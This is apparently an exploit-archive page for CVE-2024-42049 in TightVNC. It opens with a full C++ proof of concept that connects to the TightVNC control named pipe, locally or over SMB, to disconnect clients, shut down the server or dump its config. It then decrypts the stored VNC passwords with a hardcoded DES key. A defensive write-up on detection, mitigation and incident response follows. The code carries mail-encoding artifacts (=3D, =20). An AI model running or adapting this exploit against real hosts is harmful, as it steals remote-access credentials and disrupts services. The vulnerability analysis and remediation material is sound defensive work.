TightVNC 2.8.83 - Control Pipe Manipulation

Exploit Author: Ionut Zevedei Analysis Author: www.bubbleslearn.ir Category: Local Language: C++ Published Date: 2025-06-09
# Exploit Title: TightVNC 2.8.83 - Control Pipe Manipulation
# Date: 06/09/2025
# Exploit Author: Ionut Zevedei (mail@izvd.eu)
# Exploit Repository: https://github.com/zeved/CVE-2024-42049-PoC
# Vendor Homepage: https://www.tightvnc.com/
# Software Link: https://www.tightvnc.com/download.php
# Version: 2.8.83
# Tested on: Windows 10 x64 - TightVNC 2.5.10, 2.8.81
# CVE : CVE-2024-42049

#include <windows.h>=20
#include <stdio.h>
#include <conio.h>
#include <tchar.h>
#include "descrypt.h"

#define GETBYTE(x, n) (((x) >> ((n) * 8)) & 0xFF)
#define BUFFER_SIZE 512

#define TVNC_CMD_DISCONNECT_ALL_CLIENTS 0x06
#define TVNC_CMD_GET_CLIENT_LIST        0x04
#define TVNC_CMD_SHUTDOWN_SERVER        0x07
#define TVNC_CMD_GET_SERVER_INFO        0x11
#define TVNC_CMD_GET_CONFIG             0x12

const unsigned int commands[6] =3D {
  TVNC_CMD_DISCONNECT_ALL_CLIENTS,
  TVNC_CMD_GET_CLIENT_LIST,
  TVNC_CMD_SHUTDOWN_SERVER,
  TVNC_CMD_GET_SERVER_INFO,
  TVNC_CMD_GET_CONFIG,
};

unsigned char des_key[8] =3D { 23, 82, 107, 6, 35, 78, 88, 7 };

void get_bytes(unsigned int data, unsigned char* out) {
  out[0] =3D GETBYTE(data, 3);
  out[1] =3D GETBYTE(data, 2);
  out[2] =3D GETBYTE(data, 1);
  out[3] =3D GETBYTE(data, 0);
}

// printf is wonky when printing passwords later
void print_passwd(unsigned char* passwd) {
  for (int i =3D 0; i < 8; i++) {
    printf("%c", passwd[i]);
  }
  printf("\n");
}

void print_error(unsigned long error_code) {
  unsigned char* buffer;
 =20
  // damn it windows...
  FormatMessage(
    FORMAT_MESSAGE_ALLOCATE_BUFFER |
    FORMAT_MESSAGE_FROM_SYSTEM |
    FORMAT_MESSAGE_IGNORE_INSERTS,
    NULL,
    error_code,
    MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
    (LPTSTR) &buffer,
    0, NULL);

  printf("[error]: %s\n", buffer);
}

void decrypt_passwords(unsigned char *buffer_ptr, unsigned int offset) {
  unsigned char primary_passwd[8] =3D { 0x00 };
  unsigned char view_only_passwd[8] =3D { 0x00 };

  printf("\n\tencrypted primary password: ");
  for (int i =3D 0; i < 8; i++) {
    primary_passwd[i] =3D buffer_ptr[offset + 8 + i];
    printf("%02x ", primary_passwd[i]);
  }
  printf("\n\tencrypted view-only password: ");
  for (int i =3D 0; i < 8; i++) {
    view_only_passwd[i] =3D buffer_ptr[offset + i];
    printf("%02x ", view_only_passwd[i]);
  }


  unsigned char primary_passwd_decrypted[8] =3D { 0x00 };
  unsigned char view_only_passwd_decrypted[8] =3D { 0x00 };

  decrypt(primary_passwd_decrypted, view_only_passwd,
    sizeof(primary_passwd_decrypted), des_key);
  decrypt(view_only_passwd_decrypted, primary_passwd,
    sizeof(view_only_passwd_decrypted), des_key);

  printf("\n\tdecrypted primary password: ");
  print_passwd(primary_passwd_decrypted);
  printf("\tdecrypted view-only password: ");
  print_passwd(view_only_passwd_decrypted);
}

BOOL open_pipe(PHANDLE handle_ptr, char *pipe_name) {
  unsigned long pipe_mode;
  BOOL result =3D FALSE;
  printf("[~] opening pipe %s...\n", pipe_name);

  while (1) {
    *handle_ptr =3D CreateFile(
      pipe_name,
      GENERIC_READ | GENERIC_WRITE,
      0,
      NULL,
      OPEN_EXISTING,
      FILE_FLAG_OVERLAPPED,
      NULL
    );

    if (*handle_ptr !=3D INVALID_HANDLE_VALUE) {
      printf("[+] pipe opened\n");
      break;
    }

    if (GetLastError() !=3D ERROR_PIPE_BUSY) {
      printf("[-] could not open pipe\n");
      print_error(GetLastError());
      return FALSE;
    }

    printf("[~] waiting for named pipe to be available - if this hangs the =
pipe server might be dead.\n");

    WaitNamedPipe(pipe_name, NMPWAIT_WAIT_FOREVER);
  }

  pipe_mode =3D PIPE_READMODE_BYTE;
  result =3D SetNamedPipeHandleState(*handle_ptr, &pipe_mode, NULL, NULL);

  if (!result) {
    printf("[-] failed setting pipe read mode\n");
    print_error(GetLastError());
    return result;
  }

  return result;
}

int main(int argc, char* argv[]) {

  HANDLE        pipe_handle =3D NULL;
  unsigned char message[8] =3D { 0x00 };
  unsigned char buffer[BUFFER_SIZE] =3D { 0x00 };
  BOOL          result =3D FALSE;
  unsigned long bytes_read, bytes_written;
  unsigned int  cmd_index =3D 0;
  unsigned int  offset =3D 30;

  if (argc < 3) {
    printf("usage: %s <command> <pipe> <offset?>\n", argv[0]);
    printf("offset - optional: default is 30 - change as needed\n");
    printf("commands:\n");
    printf("\t1 - disconnect all clients\n");
    printf("\t2 - get client list\n");
    printf("\t3 - shutdown server\n");
    printf("\t4 - get server info\n");
    printf("\t5 - get server config\n");
    printf("example pipes:\n\t\\\\192.168.1.42\\pipe\\TightVNC_Service_Cont=
rol\n");
    printf("\t\\\\.\\pipe\\TightVNC_Application_Control_On_Session1\n\n");
    return 0;
  }

  char* stop =3D NULL;
  cmd_index =3D strtol(argv[1], &stop, 10);

  if (stop =3D=3D '\0') {
    return 0;
  }

  cmd_index--;

  if (argc =3D=3D 4) {
    stop =3D NULL;
    offset =3D strtol(argv[3], &stop, 10);

    if (offset =3D=3D 0 || stop =3D=3D '\0') {
      return 0;
    }
  }

  if (!open_pipe(&pipe_handle, argv[2])) {
    goto exit;
  }

  printf("[i] sending command...\n");
 =20
  get_bytes(commands[cmd_index], message);
  result =3D WriteFile(pipe_handle, message, 8, &bytes_written, NULL);

  if (!result) {
    printf("[-] failed writing to pipe\n");
    print_error(GetLastError());
    goto exit;
  }

  printf("[~] message sent; waiting for reply\n");

  do {
    result =3D ReadFile(
      pipe_handle,
      buffer,
      BUFFER_SIZE * sizeof(unsigned char),
      &bytes_read,
      NULL
    );

    if (!result && GetLastError() !=3D ERROR_MORE_DATA)
      break;

    printf("[+] got %d bytes back!\n", bytes_read);
    printf("    hex: \n\t");

    for (int i =3D 0; i < bytes_read; i++) {
      printf("%02x ", buffer[i]);
    }

    printf("\n    char: \n\t");
    for (int i =3D 0; i < bytes_read; i++) {
      printf("%c", buffer[i]);
    }
    printf("\n\n");

    if (cmd_index =3D=3D 4) {
      printf("\n[~] command is get config, attempting to decrypt passwords =
using offset %d...\n", offset);
      decrypt_passwords(&buffer, offset);
    }

    memset(buffer, 0, BUFFER_SIZE);
  } while (!result);

  if (!result)
  {
    printf("[-] failed reading from pipe\n");
    print_error(GetLastError());
    goto exit;
  }

  printf("\n[+] done\n\n");

exit:
  if (pipe_handle !=3D NULL) {
    CloseHandle(&pipe_handle);
  }

  return 0;
}


TightVNC Control Pipe Manipulation — CVE-2024-42049 (High-level analysis, detection & remediation)

This article summarizes the CVE-2024-42049 vulnerability affecting certain TightVNC builds, explains the technical root cause at a high level, describes realistic impact scenarios, and provides practical, defensive guidance for detection, mitigation, and incident response. The goal is to enable defenders and administrators to assess exposure and remediate safely — not to reproduce exploit techniques.

Executive summary

CVE-2024-42049 (reported against TightVNC builds around 2.8.83) concerns improper handling of the TightVNC "control" named pipe. A remote or local actor with access to that pipe can request server configuration data, which includes encrypted VNC passwords stored by TightVNC. Because the design and deployment expose those responses and the underlying protection is weak (static/weak keying and predictable handling), an attacker who can access the control pipe and read responses may be able to recover credentials or perform management actions. In many environments the named pipe is only reachable locally, but misconfigurations, SMB exposure, or lateral movement can make the vector remotely exploitable.

Technical overview (high level)

  • The TightVNC service exposes a control interface via Windows named pipes for management commands (service control, configuration retrieval, etc.).
  • A flaw in how the pipe handles command requests and responses allows an attacker who can open the pipe and make requests to obtain configuration payloads that include the encrypted VNC passwords.
  • The passwords are protected by a reversible mechanism that relies on a fixed/known implementation detail rather than per-installation, hardware-backed, or OS-protected secrets. That makes offline recovery feasible when an attacker obtains the encrypted blob.
  • Impact depends on whether the attacker can reach the named pipe: local unprivileged access, network SMB exposure, or post-compromise lateral movement are realistic attack paths.

Affected components and likely impact

ItemDetails
SoftwareTightVNC service (affected builds reported around 2.8.81–2.8.83 and some earlier releases)
CVECVE-2024-42049
ImpactDisclosure of VNC server passwords and potential remote administration; privilege escalation or lateral movement by using recovered credentials
Attack surfaceLocal named-pipe access, SMB/shared named-pipe exposure, or lateral movement to a host running TightVNC
SeverityHigh — credential exposure + potential remote control in some deployments

Responsible use and testing

Any testing of this issue must be performed on systems you own or are explicitly authorized to test. Do not use public exploit code against production or third-party systems. The guidance below focuses on detection and remediation rather than exploitation details.

Detection strategies

  • Inventory: identify systems running TightVNC. Search for known TightVNC service binaries and check file versions.
  • Named-pipe discovery: look for TightVNC-related named pipes on hosts. Local discovery is useful for quickly identifying exposed management interfaces.
  • Network exposure: scan for SMB/445 exposure in your perimeter/segments and correlate to hosts running TightVNC — network exposure of SMB increases risk.
  • Logging & telemetry: monitor for unusual processes opening TightVNC service handles or for programmatic access to named pipes. Enable enhanced process and handle auditing where feasible (Sysmon/event tracing).
  • Indicators of compromise (IoC): unexpected VNC configuration reads, changes to TightVNC server configuration files, or persistence of unexpected VNC users. Correlate with lateral movement alerts and SMB anomalous access.

Safe detection examples (non-exploit)

Below are safe PowerShell examples you can run as an administrator on a host to identify TightVNC instances and discover named-pipe artifacts. These commands do not perform management actions on the TightVNC service — they only enumerate and report.

Get-ChildItem "C:\Program Files\TightVNC" -Recurse -Filter "tvnserver.exe" -ErrorAction SilentlyContinue |
  ForEach-Object {
    $_.FullName
    (Get-Item $_.FullName).VersionInfo.FileVersion
  }

Explanation: this enumerates TightVNC server executables and prints their file version so you can identify affected builds.

Get-ChildItem \\.\pipe\ | Where-Object { $_.Name -like '*TightVNC*' } | Select-Object Name

Explanation: this lists named pipes on the local host and filters for names that include "TightVNC". Finding such pipes indicates the control interface is present on that host.

Mitigation and remediation

  • Apply vendor patches: the primary remediation is to upgrade TightVNC to a vendor-released, patched version as soon as it’s available for your build and distribution.
  • Limit access to the service control interface:
    • Block SMB (TCP/445) and other remote file/protocols that could be used to access named pipes across networks that shouldn't need them. Use firewall rules to reduce exposure.
    • Where feasible, restrict who can access the machine running TightVNC (network segmentation, host firewall rules, VPN-only management, jump-hosts).
  • Harden host-level permissions:
    • Run TightVNC with the least privilege required and ensure the service account cannot be used for lateral movement.
    • Restrict local user accounts and apply strong local ACLs on configuration files and directories.
  • Rotate secrets: after remediation, change all VNC server passwords and any credentials that may have been exposed or reused elsewhere.
  • Audit and monitor: enable process, file, and network auditing for management interfaces and create alerts for anomalous access patterns.

Safe remediation commands and examples

Use these administrative commands to discover, stop, and prevent a TightVNC service from running until you can patch it. Adjust service/display names to match your installation.

# Stop and disable TightVNC service (administrative)
Stop-Service -Name "TightVNC Server" -Force
Set-Service -Name "TightVNC Server" -StartupType Disabled

Explanation: stops the service and prevents it from starting automatically. Use only when you can accept removing remote access temporarily.

# Example: add a host-based firewall rule to block inbound SMB (port 445)
New-NetFirewallRule -DisplayName "Block inbound SMB (temporary mitigation)" -Direction Inbound -Protocol TCP -LocalPort 445 -Action Block -Profile Domain,Private,Public

Explanation: blocking SMB on the host reduces the risk of remote named-pipe access across networks. Evaluate the impact — SMB is used for many services; do not deploy blindly in production without testing.

Incident response checklist

  • Immediately patch affected TightVNC installations or stop the service until patched.
  • Rotate VNC passwords and any credentials that may have been exposed or reused on other systems.
  • Search logs and telemetry for suspicious access to named pipes, SMB connections from unusual sources, or configuration exports/read actions on TightVNC.
  • Perform host-level forensic review for signs of lateral movement (new accounts, unusual scheduled tasks, remote shells, etc.).
  • If compromise is confirmed, consider isolating affected hosts and performing full forensic imaging or rebuilding from a known-good image.

Vendor resources and disclosure

Follow TightVNC vendor advisories and apply any published fixes. Vendor resources and official security advisories provide the authoritative remediation steps and patched binaries.

Best practices and longer-term mitigations

  • Avoid static, reversible encryption for sensitive secrets — prefer OS-protected stores (e.g., Windows DPAPI, credential vaults) and per-machine or per-user keys.
  • Segment management interfaces from user networks — place remote administration services on a dedicated management VLAN or behind a jump host.
  • Enforce multi-factor authentication for management access where available, and minimize password reuse.
  • Maintain an up-to-date software inventory and automated patching pipeline so critical patches can be rolled out quickly.

References & further reading

  • TightVNC downloads and official documentation: https://www.tightvnc.com/download.php
  • Public vulnerability reports and advisories (use vendor advisory for remediation guidance)